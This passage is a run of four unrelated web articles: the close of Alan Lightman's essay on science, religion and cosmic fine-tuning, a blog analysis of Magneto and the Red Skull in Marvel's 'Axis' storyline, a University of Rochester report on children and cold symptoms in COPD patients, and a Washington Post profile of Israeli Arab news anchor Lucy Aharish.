cannot disprove the existence of God — any more than a fish can disprove the existence of trees. Likewise, no matter what gaps exist in current scientific knowledge, no matter what baffling good deeds people do, no matter what divine and spiritual feelings people have, theology cannot prove the existence of God. The most persuasive evidence of God, according to the great philosopher and psychologist William James in his landmark book “The Varieties of Religious Experience” (1902), is not physical or objective or provable. It is the highly personal transcendent experience. There is one scientific conundrum that practically screams out the limitations of both science and religion. And that is the “fine tuning” problem. For the past 50 years or so, physicists have become more and more aware that various fundamental parameters of our universe appear to be fine-tuned to allow the emergence of life — not only life as we know it but life of any kind. For example, if the nuclear force were slightly stronger than it is, then all of the hydrogen atoms in the infant universe would have fused with other hydrogen atoms to make helium, and there would be no hydrogen left. No hydrogen means no water. On the other hand, if the nuclear force were substantially weaker than it is, then the complex atoms needed for biology could not hold together. In another, even more striking example, if the cosmic “dark energy” discovered 15 years ago were a little denser than it actually is, our universe would have expanded so rapidly that matter could never have pulled itself together to form stars. And if the dark energy were a little smaller, the universe would have collapsed long before stars had time to form. Atoms are made in stars. Without stars there would be no atoms and no life. So, the question is: Why? Why do these parameters lie in the narrow range that allows life? There are three possibilities: First, there might be some as-yet-unknown physics that requires these parameters to be what they are. But this explanation is highly questionable — why should the laws of physics care about the emergence of life? Second possibility: God created the universe, God wanted life (for whatever reasons), so God designed the universe so that it would allow life. Third possibility, and the one favored by many physicists today: Our universe is one of zillions of different universes with a huge range of parameters, including many different values for the strength of the nuclear force and the density of dark energy. Some universes have stars and planets, some do not. Some harbor life, some do not. In this scenario, our universe is simply an accident. If our particular universe did not have the right parameters to allow the emergence of life, we wouldn’t be here to talk about it. In a similar way, Earth happens to be at the right distance from the sun to have liquid water, a nice oxygen atmosphere and so on. We can ask why our planet has all these lovely properties, amenable to life. And the explanation is that there is nothing special or designed about Earth. Other planets exist. But if we lived on Mercury, where the temperature is 800 degrees, or on Neptune, where it is 328 degrees below zero, we could not exist. Unfortunately, it is almost certain that we cannot prove the existence of these other universes. We must accept their existence as a matter of faith. And here we come to the fascinating irony of the fine-tuning problem. Both the theological explanation and the scientific explanation require faith. To be sure, there are huge differences between science and religion. Religion knows about the transcendent experience. Science knows about the structure of DNA and the orbits of planets. Religion gathers its knowledge largely by personal testament. Science gathers its knowledge by repeated experiments and mathematical calculations, and has been enormously successful in explaining much of the physical universe. But, in the manner I have described, faith enters into both enterprises. Several years ago, I thought that the writings and arguments of such people as Dawkins and Aczel, attempting to disprove or prove the existence of God, were a terrible waste of calories. I have changed my mind. I now believe that the discussions of science and religion, even the attempts of one side to disprove the other, are part of the continuing and restorative conversation of humanity with itself. In the end, all of our art, our science and our theological beliefs are an attempt to make sense of this fabulous and fleeting existence we find ourselves in. Alan Lightman is a physicist, novelist and professor of the practice of the humanities at MIT. His latest book is “The Accidental Universe.” |
“Power does not corrupt. Fear corrupts… perhaps the fear of a loss of power.” – John Steinbeck At long last here is the third and final part of my examination of the conflict between Magneto and the Red Skull, between the Holocaust survivor turned mutant revolutionary and the Nazi terrorist. For those who have not already read them, here are links to Part One and Part Two. Previously the Red Skull, who’d had the brain of the deceased telepath Charles Xavier grafted into his own, was brutally killed by Magneto. Unfortunately, rather than ending the Skull’s threat, this caused him to transform into a new incarnation of Onslaught, the being originally created years before from the combined subconscious darkness of Xavier and Magneto’s minds. (Or perhaps Onslaught was actually Rob Liefeld… I forget exactly.) The Avengers and X-Men’s battle against the “Red Onslaught” and the terrible aftermath is seen in the Axis miniseries by writer Rick Remender and various artists. Magneto’s perspective of these events is depicted in issue #s 11 and 12 of his solo series, written by Cullen Bunn and illustrated by Gabriel Hernandez Walta and Roland Boschi, with covers by David Yardin. In Axis #1, illustrated by Adam Kubert, the reborn Red Skull / Onslaught is spreading a psychic hate plague across the globe. Havok, Rogue, the Scarlet Witch and Magneto attempt to stop the Skull. It seems a hopeless task, especially as the three members of the Avengers Unity Squad want nothing to do with Magneto. Havok, perhaps under the Skull’s psychic influence, attacks the master of magnetism, shouting at him “You damn murdering hypocrite! You’re just like him, Magneto!” The Avengers and X-Men, alerted to the Red Skull’s threat, arrive in Genosha. After long months of tense relations between the two teams, they finally realize that they need to join forces against this common foe. The towering Red Onslaught, however, is unimpressed, and he summons a pair of immense Sentinels constructed out of near-unbreakable adamantium. The Skull reveals that he previously used his mental powers to manipulate Tony Stark into constructing these robot monstrosities, programming them with the data needed to defeat Earth’s heroes. (Side note number one: Was any of this previously seen or even hinted at before the events of Axis #1, maybe in an issue of Iron Man? Because the reveal by Remender seems to come completely out of left field, with no build-up or foreshadowing.) Between the Red Skull and the Sentinels, the heroes have little chance, the blame for which Magneto is more than happy to lay at Iron Man’s feet. In the midst of battle, Magneto flees. The Avengers and X-Men are defeated and imprisoned by the Sentinels. Back in his sanctuary, away from everyone else, Magneto finally engages in self-reflection, and acknowledges his own role in causing this crisis. “All that I have done… it was for nothing. I have committed unspeakable acts. I have hurt people. I have taken lives as easily as I might draw breath. All so my people, so mutants, might thrive.” Briar Raleigh, Magneto’s human ally who sympathizes with his goals, argues that he could not have foreseen the results of killing the Skull. Magneto disagrees, informing her “After all this time, after so many atrocities committed in the name of mutants, after so many bitter failures, I was blind not to anticipate something like this.” Attempting to spur Magneto out of his despondency, Briar plays old video footage of his brutal attacks against anti-mutant forces. She then shows him an interview with a young girl he once saved, who says “People say he’s some sort of monster, or maybe a terrorist, or that he’s insane. But I’m just glad mutants have someone like him, someone who can be angry, who can do bad things, so that we might survive.” Grimly resolved that he is the one who has been forced into the role of making the difficult but necessary choices, Magneto sets out to recruit allies against the Skull. If the Skull’s Sentinels are programmed to defeat heroes, then he will ally himself with criminals and villains. Among those he approaches are Doctor Doom, Loki, Carnage, Sabretooth and Mystique. Deadpool, who is not, strictly speaking, a villain, but who is certainly nuts, gets wind of all this and decides to find out what is going on. The merc with a mouth tells him “I kinda want to know what the hell you’re trying to pull. I mean, I thought you were supposed to be a good guy.” Magneto somberly responds “Not even you are foolish enough to think me a hero. Such distinctions are for those who can look at their own reflections and not despair.” Magneto and his group of ne’er-do-wells engage the Red Skull and his Sentinels in Genosha. During the battle, they manage to free the Scarlet Witch and Doctor Strange, and Magneto tells them to attempt an “inversion spell” to revive the suppressed remnants of Xavier’s consciousness in the Skull’s mind. Before it can be completed, Strange is knocked out. Doctor Doom steps in and forces Wanda to complete the spell with him. The inversion is seemingly successful. Onslaught is banished, and the Red Skull is returned to human form, unconscious. Immediately, though, there are problems. The Avengers want to imprison the Skull ASAP before he re-awakens. The X-Men, however, want custody of him, to see if now they can fully restore Xavier to life. The disagreement causes the two teams to once again find themselves at odds with one another, neither side willing to budge. Their fragile alliance is shattered. Even in defeat, the Skull achieves a dark victory, once again driving apart humans and mutants. And what has happened to Magneto? Wounded, watching all of this from afar, he hears the Scarlet Witch ask “Where are the villains?” Magneto bitterly thinks to himself, “After everything we did… everything I did… these Avengers… even my own daughter… would still see me as another threat to be eliminated or contained.” As we soon find out in Axis #4, however, the inversion spell by Wanda and Doom worked much too well. It caused everyone who was in Genosha to turn 180 degrees on the moral compass. All of the heroes who were present are now ruthless, violent and selfish. All of the villains are now moral and altruistic. Sam Wilson, formerly the Falcon and now the new Captain America, wants to lead all of the inverted Avengers in taking over the world, creating an ordered society that they control. The mutant Genesis is transformed into a reborn Apocalypse who leads the X-Men into war against humanity. They construct a bomb that will wipe out all non-mutants on Earth. Oh, yeah, and Tony Stark becomes an arrogant, greedy, hedonistic asshole. If you thought regular Iron Man could be a jerk, well, inverted Stark is about a hundred times worse. The now-elderly Steve Rogers and the few non-inverted heroes who managed to escape being captured by the corrupted Avengers are forced to ally themselves with Magneto and the other inverted villains to stop the X-Men and Apocalypse. These events play out over the remainder of the Axis miniseries. (Side note number two: Did Remender really need nine extra-sized issues to tell this whole story? The whole thing would very comfortably have fit into a mere six issues. I liked Axis, but it definitely suffered from being padded out with tons of fight scenes that played out over a bunch of splash pages and double-page spreads.) Finally coming to Axis #9, with Jim Cheung artwork, Rogers and the inverted villains attempt to recreate the inversion spell. Doctor Doom manages to summon Doctor Voodoo and his ghostly brother, and they take possession of the inverted Scarlet Witch. Doom and the possessed Witch catch up with Rogers, who has located the Red Skull. The man who was once the personification of human evil has been inverted into the remorseful White Skull… seriously, even his mask turned white. How did that happen? The White Skull begs Magneto not to once again resort to murder, to not kill Iron Man, and allow the new inversion spell to undo the damage. Magneto reluctantly agrees. Doom, the Skull, and the possessed Witch re-enact the inversion, turning everyone back to normal. Well, almost everyone. Iron Man, who refuses to go back to how he once was, is able to shield himself, and both Havok and Sabretooth are caught in his energy field. That means Havok is still a violent fanatic who hates humans, Sabretooth still has a conscience, and Stark is still a douchebag. Oh, well, can’t win ‘em all! In the closing pages of Axis #9, Rogue and the Scarlet Witch form a new Avengers Unity Squad, hoping to bridge the gap between humans and mutants so that a disaster such as this never occurs again. Magneto, however, is in no mood to celebrate, realizing that Doctor Doom, the Red Skull and Iron Man have all escaped. We see that the Skull is now the prisoner of Doom, a potential weapon to be used by the Latverian tyrant in the future. Hopefully Magneto and the Red Skull will meet again. Theirs is a dramatic, powerful enmity driven by mutual contempt & hatred. They are simultaneously alike and as different as night & day. Much can be revealed about Magneto through the comparing & contrasting of him to the Skull. Magneto, as re-envisioned by Chris Claremont to be a survivor of the Holocaust, is undoubtedly a complex, complicated and morally ambiguous individual. One can certainly see Magneto as the personification of Friedrich Nietzsche’s famous warning “Whoever fights monsters should see to it that in the process he does not become a monster.” Likewise the character appears to embody the old saying “The road to hell is paved with good intentions.” I have often regarded Magneto as a tragic but dangerous figure. He is a man who experienced horrific losses in his childhood & early adulthood, and who is unable or unwilling to let go of the past. All of this has led him to fanatical extremes. The Red Skull commits evil acts because he is a psychopath. Magneto, on the other hand, is driven by fear and guilt, by a burning obsession to never again become a victim. Unlike the Skull, it is certainly possible to understand, even sympathize with Magneto. But if in the end by his actions Magneto arrives at exactly the same place as the Skull, as an unrepentant monster, than all the rationalizations in the world are meaningless. Advertisements |
Share this Article Facebook Twitter Email You are free to share this article under the Attribution 4.0 International license. University University of Rochester U. ROCHESTER (US) — Exposure to school-age children raises the odds that a person with lung disease who catches a cold will actually suffer symptoms like a runny nose, sore throat, and cough, a new study shows. For the study, published in the Journal of Clinical Virology, researchers drew upon a databank of 1,000 samples of sputum and nasal secretions from people with chronic obstructive pulmonary disease or COPD. The results come as a surprise, says Ann Falsey, professor of medicine at the University of Rochester and an infectious disease expert at Rochester General Hospital. “Before we conducted this study, I would have expected other factors, perhaps the severity of underlying disease—the state of the patient’s general health—to indicate who would actually suffer symptoms from their colds,” says Falsey. “Instead, contact with school-age children is the only risk factor we found, and it increases both the risk of infection and also the risk of suffering symptoms once you’ve caught a cold.” [sources] Many studies, including this one, have found that being around school-age children increases the risk of infection, but the new findings go one step further. Of people who come down with colds, the course of the infection is much more likely to be worse in people exposed to children. In everyday life, many people have no symptoms and don’t even realize it when they catch a cold. It comes as no surprise that Falsey and first author Anurag Gandhi found that more than one-third of people infected with a rhinovirus, the bug that causes most colds, had no symptoms. But further analysis of the data showed that of those people who were infected, people whose infection turned into real-life symptoms—congestion, runny nose, sore throat, hoarseness, and so on—were about twice as likely to have contact with school-age children as people whose infections did not become symptomatic. While the study wasn’t designed to tease out a possible explanation, Falsey says the results may be due to the fact colds run a bit more rampant in young children because they haven’t had many years to build up immunity—and children’s colds tend to be worse overall. “We know that kids shed more virus longer when they get a cold,” Falsey says. “It may be that your chance of developing cold symptoms is related to the amount of virus you’re exposed to, and if you’re around small children, you’re exposed to more virus. The idea makes sense, but it’s speculation at this point.” To avoid colds, practice good hand hygiene. Wash hands often, especially after sneezing or covering your mouth when coughing. Avoid touching the eyes and nose as much as possible—and try to avoid sick children. “We all know that children are efficient germ-spreading vectors,” Falsey says, “and we know that young children oftentimes don’t have ideal hygiene habits. It’s not unusual for them to accidentally sneeze in your face, for instance. If you have a grandchild who is sick, it may simply be smart to plan a visit for another day.” The study relied upon close monitoring and sampling of 127 people with emphysema who were evaluated six times each during one year. At all visits, nasal secretions were sampled, and sputum samples were obtained when available. Gandhi and Falsey’s analysis of the resulting 1,000 samples of bodily fluids, stored for nearly a decade at minus 112 degrees Fahrenheit, also turned up another unexpected finding: Adults who were on home oxygen use were somewhat protected against the added risk posed by schoolchildren. Again, the study was not designed to answer why, since the finding was unexpected. It could be, for instance, that young children were more apt to avoid close contact with adults who were wired up with tubes and apparatus that are scary to many children. Source: University of Rochester |
Correction: An earlier version of this story incorrectly stated the timeline for the second intifada. It happened in the early 2000s. This version has been corrected. Israeli Arab news anchor Lucy Aharish talks with a colleague at the i24news studios April 15 in Jaffa, Israel. Aharish, who hosts a morning news show in Hebrew, will take part in an Israeli Independence Day celebration, and not everyone’s happy about it. (David Vaaknin/For The Washington Post) Having access to both Jews and Arabs is not easy for most journalists in Israel. Not so for Lucy Aharish, a Muslim Arab who grew up in a Jewish town in southern Israel. A TV anchor and news producer, Aharish says her challenge, instead, is to break stereotypes and be unafraid to sound clichéd when she talks about the need to view people in this complicated society — Jews, Muslims, Christians, Israelis or Palestinians — as human beings. Aharish, 33, is the country’s first Arab Israeli woman to present the television news in Hebrew. On Wednesday, she will claim another rare title as she and 13 other Israelis being honored for achievements in their professions light torches at a ceremony marking 67 years of Israeli independence. Her participation in the Jerusalem event is a bold step for a member of the Arab population, which generally shuns Israeli Independence Day. Palestinians refer to the set of events that led to Israel’s founding as the Nakba, or the Catastrophe. “I’ve had threats, people cursing me, some telling me I’m a filthy woman or a disgrace to my family,” Aharish said of the reactions from Jews and Arabs — including members of her extended family — to the announcement that she would be among the torch lighters. “I’ve had threats, people cursing me, some telling me I’m a filthy woman or a disgrace to my family,” Lucy Aharish said. (David Vaaknin/For The Washington Post) She will not be the first Arab Israeli chosen to light one of the torches. But over the past two decades, wars and failed Israeli-Palestinian peace talks have left Israel’s Arabs — about 20 percent of the country’s population — more marginalized than ever. And that has made Aharish’s participation in the ceremony particularly controversial. The torch lighters are selected by a committee that each year focuses its choices around a theme. This year, it picked people viewed as having broken through a glass ceiling. “Every day I feel like I am breaking the glass ceiling,” she said recently in the studios of the multilingual i24 news channel, where she presents the evening news in English. She hosts a morning news show in Hebrew on the popular Channel 2. Growing up in Dimona, a depressed town in Israel’s periphery, she said that just moving to the Mediterranean metropolis of Tel Aviv was a big achievement. She also studied theater and political science in Jerusalem, appeared in a handful of TV dramas and sometimes felt like “the only Arab in a whole Jewish system.” Aharish began her journalism career in 2007, first as a reporter on Arab affairs for news outlets and then as a host for Israel’s national television channel. “When I first started working as a journalist, one of the managers commented on my Hebrew, saying I had a problem with pronunciation because I am an Arab. I told him it was not because I am an Arab but because I come from a place where people speak like that,” said Aharish, referring to the accent in her home town. Even so, she hired a teacher to improve her grammar. Each such setback, she said, “made me more stubborn and determined.” “The problem with the Arab minority is that it sees itself as a victim,” said Aharish. “Yes, there is racism against Arabs in Israel; yes, the Arabs do not get their entire rights. But I am not a victim of Israel; I am a human being and a citizen.” Some observers say those sorts of bold views make her an apt choice for the ceremony. “The fact that Lucy is lighting a torch is a dramatic point,” said Ron Gerlitz, co-executive director of Sikkuy, the Association for the Advancement of Civic Equality in Israel. “On the one hand, she can speak out strongly against what [Prime Minister Benjamin] Netanyahu said on election day,” said Gerlitz, referring to Netanyahu’s much-condemned warning last month that Arab citizens were heading “in droves” to the polls. “At the same time, she sees herself as part of Israeli society.” On election day, Aharish dedicated the first segment of her live show to discussing Netanyahu’s comment. A few days later, she appeared on a prominent news show to express anger that the “prime minister, who is the prime minister all the citizens of Israel,” would make such a statement. That outburst drew sharp criticism from Jewish Israelis, who dismissed her because she is an Arab, as well as from Arab Israelis, who asked how she could agree to be part of the Independence Day celebrations. They accused her of waking up too late to the discrimination her own people face. “As Arabs, we want to recognize the symbols of the country. But the symbols of the country do not want us; they exclude us,” said Nohad Ali, a professor of sociology at the University of Haifa and an expert on Jewish-Arab relations. “Lighting a torch on Independence Day, a day that was a catastrophe for her own people, is simply not acceptable to the Arabs.” Aharish, who spent her early years surrounded by Jews, acknowledges that it was not until she attended college in Jerusalem that she started exploring her Arab roots. That was during the height of the second intifada, or Palestinian uprising against Israel, in the early 2000s. A friend took her to see the wall Israel was building to separate the West Bank from Israel. “We got to the wall, and I said: ‘Is that it? What’s on the other side? There are people there, and I have no idea who they are or what they are thinking,’ ” she said. “That’s when I began to question things.” Asked whether she has figured out any answers, especially about her dual identity, Aharish said: “I am on the wall. It’s a privilege to be on the wall. . . . You get a panoramic view.” Read more: On Israeli election day, Netanyahu warns of Arabs voting ‘in droves’ Netanyahu apologizes to Israeli Arabs for comment widely criticized as racist What’s next for Israel’s new Arab political party? Today's coverage from Post correspondents around the world |
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